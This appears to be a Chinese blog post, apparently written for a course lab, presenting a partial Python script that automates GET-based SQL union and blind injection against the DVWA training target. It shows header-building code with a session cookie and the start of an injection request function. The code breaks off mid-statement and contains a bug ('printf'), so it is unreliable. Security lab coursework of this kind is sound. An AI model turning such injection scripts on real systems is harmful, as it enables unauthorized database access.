基于dvwa的自动化sql注入脚本

SQL注入

概念等就不做介绍了,前人之述备矣。
本代码仅完成了get方式的注入,只针对了dvwa靶场中sql注入和盲注low部分的自动注入。(为了完成课程实验,因为dvwa里low级别注入方式是字符型的注入方式,因此我也减少了判断是数字注入还是字符注入,但要实现也容易,判断完类型后在构造sql语句中是否加“ ’ ”)
需要先构造http头部信息:

def get_header(url, cookie):  # 生成头部信息
    ip = re.search('\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}', url).group()
    headers = {
   
        'Host': f'{ip}',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
        'Referer': f'{url}',
        'Connection': 'close',
        'Cookie': f'security=low; PHPSESSID={cookie}',
        'Upgrade-Insecure-Requests': '1'
    }
    return headers, ip

下面是各部分代码:

联合注入

根据构造注入的sql语句,url和头部信息,获取到页面,当页面出现Unknown时表示注入错误,当注入正确时会返回页面信息。

def sql_union_inject(sql, url, headers):
    str = f'?id={sql}&Submit=Submit#'
    printf("正在猜解:" + url + str)
    recv = requests.get(url + str, headers=headers).text
    if recv.find
  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值